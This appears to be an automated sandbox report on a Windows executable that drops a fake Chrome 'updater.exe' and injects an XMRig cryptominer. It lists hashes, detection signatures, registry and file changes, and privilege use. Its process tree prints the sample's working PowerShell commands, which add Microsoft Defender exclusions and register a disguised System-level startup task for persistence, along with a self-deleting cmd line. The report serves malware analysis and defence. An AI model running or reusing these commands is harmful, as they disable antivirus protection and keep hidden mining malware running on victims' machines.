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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1800s -
max time network
1804s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27/01/2024, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
description pid Process procid_target PID 5088 created 3472 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 52 PID 5088 created 3472 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 52 PID 5088 created 3472 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 52 PID 5088 created 3472 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 52 PID 4440 created 3472 4440 updater.exe 52 PID 4440 created 3472 4440 updater.exe 52 PID 4440 created 3472 4440 updater.exe 52 PID 3272 created 3472 3272 conhost.exe 52 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral4/memory/3564-127-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-130-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-132-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-134-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-138-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-140-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-142-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-144-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-146-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-148-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-150-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-152-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-154-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-156-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-158-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-160-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-162-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-164-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-166-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-168-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-170-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-172-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-174-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-176-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-178-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-180-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-182-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-184-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-186-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig behavioral4/memory/3564-188-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4440 updater.exe -
resource yara_rule behavioral4/memory/3564-120-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-127-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-130-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-132-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-134-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-138-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-140-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-142-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-144-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-146-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-148-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-150-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-152-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-154-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-156-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-158-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-160-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-162-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-164-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-166-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-168-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-170-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-172-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-174-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-176-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-178-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-180-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-182-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-184-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-186-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx behavioral4/memory/3564-188-0x00007FF6953E0000-0x00007FF695BD4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4440 set thread context of 3272 4440 updater.exe 115 PID 4440 set thread context of 3564 4440 updater.exe 110 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (17) - K.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1072 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 3168 powershell.exe 3168 powershell.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 4568 powershell.exe 4568 powershell.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 5088 qM5GMXBk6hJE6Y5e (17) - K.exe 2640 powershell.exe 2640 powershell.exe 4440 updater.exe 4440 updater.exe 1472 powershell.exe 1472 powershell.exe 4440 updater.exe 4440 updater.exe 1264 powershell.exe 1264 powershell.exe 4440 updater.exe 4440 updater.exe 4440 updater.exe 4440 updater.exe 3272 conhost.exe 3272 conhost.exe 4440 updater.exe 4440 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3168 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe Token: 36 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe Token: 36 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4696 wrote to memory of 1896 4696 cmd.exe 101 PID 4696 wrote to memory of 1896 4696 cmd.exe 101 PID 2640 wrote to memory of 5072 2640 powershell.exe 102 PID 2640 wrote to memory of 5072 2640 powershell.exe 102 PID 4440 wrote to memory of 3272 4440 updater.exe 115 PID 4444 wrote to memory of 1072 4444 cmd.exe 109 PID 4444 wrote to memory of 1072 4444 cmd.exe 109 PID 4440 wrote to memory of 3564 4440 updater.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3472
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:5088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3168
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1896
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:5072
